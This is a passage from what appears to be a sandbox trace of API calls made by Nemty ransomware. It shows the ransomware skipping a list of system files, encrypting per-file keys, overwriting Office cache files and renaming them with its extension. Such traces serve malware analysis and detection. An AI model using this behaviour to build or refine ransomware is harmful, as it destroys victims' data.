cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0047.756] FindClose (in: hFindFile=0x3423a30 | out: hFindFile=0x3423a30) returned 1 [0047.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0047.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0047.756] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Proofing.msi", cAlternateFileName="")) returned 1 [0047.756] lstrcmpiW (lpString1="Proofing.msi", lpString2=".") returned 1 [0047.756] lstrcmpiW (lpString1="Proofing.msi", lpString2="..") returned 1 [0047.756] lstrcmpiW (lpString1="Proofing.msi", lpString2="...") returned 1 [0047.756] lstrcmpiW (lpString1="Proofing.msi", lpString2="windows") returned -1 [0047.756] lstrcmpiW (lpString1="Proofing.msi", lpString2="$RECYCLE.BIN") returned 1 [0047.757] lstrcmpiW (lpString1="Proofing.msi", lpString2="rsa") returned -1 [0047.757] lstrcmpiW (lpString1="Proofing.msi", lpString2="NTDETECT.COM") returned 1 [0047.757] lstrcmpiW (lpString1="Proofing.msi", lpString2="ntldr") returned 1 [0047.757] lstrcmpiW (lpString1="Proofing.msi", lpString2="MSDOS.SYS") returned 1 [0047.757] lstrcmpiW (lpString1="Proofing.msi", lpString2="IO.SYS") returned 1 [0047.757] lstrcmpiW (lpString1="Proofing.msi", lpString2="boot.ini") returned 1 [0047.757] lstrcmpiW (lpString1="Proofing.msi", lpString2="boot.ini") returned 1 [0047.757] lstrcmpiW (lpString1="Proofing.msi", lpString2="AUTOEXEC.BAT") returned 1 [0047.757] lstrcmpiW (lpString1="Proofing.msi", lpString2="ntuser.dat") returned 1 [0047.757] lstrcmpiW (lpString1="Proofing.msi", lpString2="desktop.ini") returned 1 [0047.757] lstrcmpiW (lpString1="Proofing.msi", lpString2="CONFIG.SYS") returned 1 [0047.757] lstrcmpiW (lpString1="Proofing.msi", lpString2="RECYCLER") returned -1 [0047.757] lstrcmpiW (lpString1="Proofing.msi", lpString2="BOOTSECT.BAK") returned 1 [0047.757] lstrcmpiW (lpString1="Proofing.msi", lpString2="bootmgr") returned 1 [0047.757] lstrcmpiW (lpString1="Proofing.msi", lpString2="programdata") returned 1 [0047.757] lstrcmpiW (lpString1="Proofing.msi", lpString2="appdata") returned 1 [0047.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proofing.msi", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0047.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proofing.msi", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proofing.msi", lpUsedDefaultChar=0x0) returned 12 [0047.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proofing.msi", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0047.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proofing.msi", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proofing.msi", lpUsedDefaultChar=0x0) returned 12 [0047.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proofing.msi", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0047.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proofing.msi", cchWideChar=12, lpMultiByteStr=0x653f2a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proofing.msi", lpUsedDefaultChar=0x0) returned 12 [0047.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proofing.msi", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0047.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proofing.msi", cchWideChar=12, lpMultiByteStr=0x653f2d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proofing.msi", lpUsedDefaultChar=0x0) returned 12 [0047.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0047.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94230 | out: hHeap=0x4f90000) returned 1 [0047.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0047.758] Sleep (dwMilliseconds=0x5) [0047.765] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd02c3f30, dwHighDateTime=0x1d561e7)) [0047.765] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd02c3f30, dwHighDateTime=0x1d561e7)) [0047.765] GetLastError () returned 0x12 [0047.765] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.765] GetLastError () returned 0x12 [0047.765] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.765] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.765] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.765] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0047.765] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0047.765] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0047.765] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0047.765] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="WkW3WyqfTHQnyMe73aFqoXt+RYGIyKiD8sISk3wWqE1qRtWPUtUQXM4MIUQynIc+\r\nTUbmCAZTipsYhpA6kwrZ8+a+LUFPxJdkVuSbJavG0VU140J9zh4kiwmVjEVQglMI\r\nT8vJQrwnlADW4LwamJLGNf4SpwPFVVv0WVqDg5w8l2Q0OS0stZuGYxKmALGbOBjj\r\nz8etqLKje3TVhxEgn+Supa4lI8DxHNSe70rAsdZiCvQqnKjUeVyDKVFozvIhyZ1W\r\nrgGDzxSPNP9URR94MGxlA3uh8Qfq4bs9/vnErwkzZJClz7oyMz1FDQTSInh1AXLA\r\ne5dMNJ5570R43LrdD8U3zg==\r\n", pcchString=0x653ef9c) returned 1 [0047.765] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0047.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0047.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0047.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0047.766] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0047.766] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=868864) returned 1 [0047.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6346d48 [0047.766] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.766] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x19000, lpOverlapped=0x0) returned 1 [0047.825] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.825] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x19000, lpOverlapped=0x0) returned 1 [0047.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.826] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=868864, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd4200 [0047.826] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0047.828] CloseHandle (hObject=0x3c8) returned 1 [0047.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0047.838] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.838] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0047.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0047.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0047.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.839] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi._nemty_kgobjgd_")) returned 1 [0047.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0047.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0047.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0047.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0047.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0047.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.839] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Proofing.xml", cAlternateFileName="")) returned 1 [0047.839] lstrcmpiW (lpString1="Proofing.xml", lpString2=".") returned 1 [0047.839] lstrcmpiW (lpString1="Proofing.xml", lpString2="..") returned 1 [0047.839] lstrcmpiW (lpString1="Proofing.xml", lpString2="...") returned 1 [0047.839] lstrcmpiW (lpString1="Proofing.xml", lpString2="windows") returned -1 [0047.839] lstrcmpiW (lpString1="Proofing.xml", lpString2="$RECYCLE.BIN") returned 1 [0047.840] lstrcmpiW (lpString1="Proofing.xml", lpString2="rsa") returned -1 [0047.840] lstrcmpiW (lpString1="Proofing.xml", lpString2="NTDETECT.COM") returned 1 [0047.840] lstrcmpiW (lpString1="Proofing.xml", lpString2="ntldr") returned 1 [0047.840] lstrcmpiW (lpString1="Proofing.xml", lpString2="MSDOS.SYS") returned 1 [0047.840] lstrcmpiW (lpString1="Proofing.xml", lpString2="IO.SYS") returned 1 [0047.840] lstrcmpiW (lpString1="Proofing.xml", lpString2="boot.ini") returned 1 [0047.840] lstrcmpiW (lpString1="Proofing.xml", lpString2="boot.ini") returned 1 [0047.840] lstrcmpiW (lpString1="Proofing.xml", lpString2="AUTOEXEC.BAT") returned 1 [0047.840] lstrcmpiW (lpString1="Proofing.xml", lpString2="ntuser.dat") returned 1 [0047.840] lstrcmpiW (lpString1="Proofing.xml", lpString2="desktop.ini") returned 1 [0047.840] lstrcmpiW (lpString1="Proofing.xml", lpString2="CONFIG.SYS") returned 1 [0047.840] lstrcmpiW (lpString1="Proofing.xml", lpString2="RECYCLER") returned -1 [0047.840] lstrcmpiW (lpString1="Proofing.xml", lpString2="BOOTSECT.BAK") returned 1 [0047.840] lstrcmpiW (lpString1="Proofing.xml", lpString2="bootmgr") returned 1 [0047.840] lstrcmpiW (lpString1="Proofing.xml", lpString2="programdata") returned 1 [0047.840] lstrcmpiW (lpString1="Proofing.xml", lpString2="appdata") returned 1 [0047.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proofing.xml", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0047.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proofing.xml", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proofing.xml", lpUsedDefaultChar=0x0) returned 12 [0047.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proofing.xml", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0047.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proofing.xml", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proofing.xml", lpUsedDefaultChar=0x0) returned 12 [0047.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proofing.xml", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0047.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proofing.xml", cchWideChar=12, lpMultiByteStr=0x653f2a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proofing.xml", lpUsedDefaultChar=0x0) returned 12 [0047.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proofing.xml", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0047.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proofing.xml", cchWideChar=12, lpMultiByteStr=0x653f2d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proofing.xml", lpUsedDefaultChar=0x0) returned 12 [0047.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0047.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0047.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0047.841] Sleep (dwMilliseconds=0x5) [0047.843] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0382610, dwHighDateTime=0x1d561e7)) [0047.843] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0382610, dwHighDateTime=0x1d561e7)) [0047.843] GetLastError () returned 0x0 [0047.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.843] GetLastError () returned 0x0 [0047.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.843] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0047.843] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0047.844] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0047.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0047.844] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="xn6XKUKcn9NedKKIOl4ORJb+jOhXwQ6uddLlt12iX4tX1uC5CcAhNkhno4b/IT3m\r\nsJNitHCabrem6m9m5ajiJinYLbTRiA4duB083Tpe6AipeBTVlWoQh77BhnJUTIxg\r\nYH5ZYwbgX761cBieTQecrIdU896/hxlDWsvhI4SXcH+cx8LJpCVcvCwbSt911wZa\r\nGny72vtutv67XFyNfJvnqaoVBJxNJ1689v2W7wfmHzYMt+N57PVKUmVqklOJ7qSL\r\neXrOLX8/Nex69Ep7/BKLIh5bxDjnGttCy5mgQLfeEwDZHD5NilFAol9/11EmlSrj\r\nRJqpXnpsSmXG0J1SvfiPrw==\r\n", pcchString=0x653ef9c) returned 1 [0047.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0047.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0047.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0047.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0047.844] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0047.844] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=811) returned 1 [0047.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x320) returned 0x6343fe8 [0047.844] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.844] ReadFile (in: hFile=0x3c8, lpBuffer=0x6343fe8, nNumberOfBytesToRead=0x320, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesRead=0x653f1e4*=0x320, lpOverlapped=0x0) returned 1 [0047.846] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.846] WriteFile (in: hFile=0x3c8, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653f1dc*=0x320, lpOverlapped=0x0) returned 1 [0047.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0047.846] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=811, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x32b [0047.846] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0047.846] CloseHandle (hObject=0x3c8) returned 1 [0047.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0047.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942e8 [0047.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0047.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0047.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.847] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), 